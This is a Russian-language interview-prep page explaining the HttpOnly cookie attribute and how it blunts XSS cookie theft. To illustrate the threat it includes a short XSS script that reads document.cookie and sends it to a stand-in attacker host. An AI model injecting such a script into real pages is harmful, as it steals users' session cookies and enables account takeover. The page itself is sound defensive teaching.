← Назад ко всем вопросам

Что такое HttpOnly

1️⃣ Как кратко ответить

HttpOnly — это атрибут cookie, который предотвращает доступ к cookie через JavaScript, повышая безопасность веб-приложений. Он защищает от атак XSS, ограничивая возможность злоумышленников похитить данные cookie.

2️⃣ Подробное объяснение темы

HttpOnly — это атрибут, который можно установить для cookie в веб-приложении. Когда cookie имеет атрибут HttpOnly, он становится недоступным для JavaScript, что предотвращает его кражу через атаки типа XSS (Cross-Site Scripting).

Зачем это нужно

Веб-приложения часто используют cookie для хранения информации о сессии пользователя, например, идентификатор сессии. Если злоумышленник получит доступ к этому cookie, он сможет выдать себя за пользователя, что может привести к компрометации аккаунта. HttpOnly помогает предотвратить такие сценарии, ограничивая доступ к cookie только сервером.

Как это работает

Когда сервер отправляет cookie с атрибутом HttpOnly, браузер сохраняет его, но не позволяет JavaScript на странице получить к нему доступ. Это значит, что даже если злоумышленник внедрит вредоносный скрипт на страницу, он не сможет прочитать значение cookie.

Пример использования

Рассмотрим пример установки cookie с атрибутом HttpOnly на сервере:

Set-Cookie: sessionId=abc123; HttpOnly
  • Set-Cookie: Заголовок HTTP, который используется для отправки cookie от сервера к клиенту.
  • sessionId=abc123: Имя и значение cookie. В данном случае, это идентификатор сессии.
  • HttpOnly: Атрибут, который указывает браузеру, что этот cookie не должен быть доступен через JavaScript.

Пример атаки XSS и защита с помощью HttpOnly

Предположим, что на сайте есть уязвимость XSS, и злоумышленник внедрил следующий скрипт:

<script>
  var cookies = document.cookie;
  // Отправка cookie на сервер злоумышленника
  fetch('http://malicious.com/steal?cookie=' + cookies);
</script>

Если cookie не защищены атрибутом HttpOnly, этот скрипт сможет получить доступ к ним и отправить их злоумышленнику. Однако, если cookie защищены, JavaScript не сможет их прочитать, и атака будет предотвращена.

Где применяется

HttpOnly широко используется в веб-приложениях для защиты сессионных cookie и других чувствительных данных. Это стандартная практика безопасности, рекомендованная OWASP (Open Web Application Security Project) и другими организациями, занимающимися безопасностью веб-приложений.

Использование HttpOnly — это один из простых, но эффективных способов повысить безопасность веб-приложения и защитить данные пользователей от кражи.

Тема: HTTP, REST, SOAP, WebSocket и API
Стадия: Tech

🔒 Подпишись на бусти автора и стань Алигатором, чтобы получить полный доступ к функционалу сайта и отслеживать свой прогресс!

Твои заметки